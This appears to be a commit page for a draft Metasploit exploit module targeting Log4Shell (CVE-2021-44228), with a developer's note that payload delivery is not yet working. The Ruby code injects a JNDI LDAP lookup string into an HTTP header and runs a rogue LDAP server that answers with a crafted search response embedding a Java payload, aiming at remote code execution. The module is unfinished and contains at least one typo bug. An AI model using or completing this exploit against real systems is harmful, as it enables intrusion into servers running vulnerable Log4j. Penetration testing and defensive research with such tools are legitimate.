074120a2d3
Using the infrastructure developped for use in the log4shell HTTP scanner, implement a basic HTTP exploit module which performs the same action as the scanner does per-host on a specific target; but instead of logging the vulnerability, return a crafted LDAP search response containing the payload encoded within the search response. The crux of this effort lies in payload generation, specifically in crafting the legal LDAP response packet out of the request data and generated JAR-format payload. The payload selection is based on an offline discussion with @Mihi during which he indicated JNDI's ability to load JARs in the same way as raw Java classes. This assumption/interpretation on my part may be incorrect. At present, the delivered LDAP search response appears to be valid in WireShark, and the vulnerable test docker is showing internal values in its console output a la: ``` Received a request for API version com.sun.jndi.ldap.LdapCtx@3575a ``` which shows that it is processing the response on its end, just not in the way we would prefer, yet. This may be a result of how the MSF payload is being shuffled and mutated by the packet construction method, or a mistake in the way i pass in the queried base DN or execute the LDAP search response transaction. Testing: fails currently for aforementioned reason TODO: figure out how to encode the payload/LDAP response correctly continue testing until verified and upstreamed
129 lines
4.4 KiB
Ruby
129 lines
4.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
# prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::LDAP::Server
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Log4Shell HTTP Header Injection',
|
|
'Description' => %q{
|
|
Send vulnerable header with JNDI injected URL from which the JVM will acquire
|
|
and execute attacker controlled data.
|
|
},
|
|
'Author' => [
|
|
'RageLtMan <rageltman[at]sempervictus>'
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2021-44228' ],
|
|
],
|
|
'DisclosureDate' => '2021-12-09',
|
|
'License' => MSF_LICENSE,
|
|
'DefaultOptions' => {
|
|
'SRVPORT' => 389
|
|
},
|
|
'Platform' => 'java',
|
|
'Arch' => [ARCH_JAVA],
|
|
'Targets' => [
|
|
['Automatic', {}]
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'AKA' => ['Log4Shell', 'LogJam'],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
}
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
|
|
OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
|
|
OptString.new('HTTP_HEADER', [ true, 'The header to inject', 'X-Api-Version']),
|
|
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]),
|
|
])
|
|
end
|
|
|
|
def jndi_string
|
|
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
|
|
end
|
|
|
|
#
|
|
# Generate and serialize the payload as an LDAP search respnse
|
|
#
|
|
# @param msg_id [Integer] LDAP message identifier
|
|
# @param base_dn [Sting] LDAP distinguished name
|
|
#
|
|
# @return [Array] packed BER sequence
|
|
def serialized_payload(msg_id, base_dn)
|
|
jar = generate_payload.encoded_jar
|
|
jclass = Rex::Text.to_octal(jar.entries[2].data) # extract class file - this is gross, need better accessor/raw generator for this
|
|
jclass.extend(Net::BER::Extensions::String)
|
|
pay = jclass.chars.map(&:to_ber).to_ber_set
|
|
attrk = Rex::Text.rand_text_alpha_lower(4).to_ber
|
|
# TODO: resolve payload encoding as this is currently not triggering on delivery
|
|
attrs = [ [ attrk, pay ].to_ber_sequence ]
|
|
appseq = [
|
|
base_dn.to_ber,
|
|
attrs.to_ber_sequence
|
|
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
|
|
[ msg_id.to_ber, appseq ].to_ber_sequence
|
|
end
|
|
|
|
#
|
|
# Handle incoming requests via service mixin
|
|
#
|
|
def on_dispatch_request(client, data)
|
|
return if data.strip.empty?
|
|
|
|
data.extend(Net::BER::Extensions::String)
|
|
begin
|
|
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
|
|
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
|
|
resp = case pdu.app_tag
|
|
when Net::LDAP::PDU::BindRequest # bind request
|
|
client.authenticated = true
|
|
service.encode_ldap_response(
|
|
pdu.message_id,
|
|
Net::LDAP::ResultCodeSuccess,
|
|
'',
|
|
'',
|
|
Net::LDAP::PDU::BindResult
|
|
)
|
|
when Net::LDAP::PDU::SearchRequest # search request
|
|
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
|
|
client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))
|
|
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
|
|
else
|
|
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
|
|
end
|
|
else
|
|
vprint_status("Client sent unexpected request #{pdu.app_tag}")
|
|
client.close
|
|
end
|
|
resp.nil? ? client.close : on_send_response(client, resp)
|
|
rescue StandardError => e
|
|
print_error("Failed to handle LDAP request due to #{e}")
|
|
client.close
|
|
end
|
|
resp
|
|
end
|
|
|
|
def exploit
|
|
start_service
|
|
send_request_raw(
|
|
'uri' => normalize_uri(target_uri),
|
|
'method' => datastore['HTTP_METHOD'],
|
|
'headers' => { datastore['HTTP_HEADER'] => jndi_string }
|
|
)
|
|
handler
|
|
ensure
|
|
stop_service
|
|
end
|
|
end
|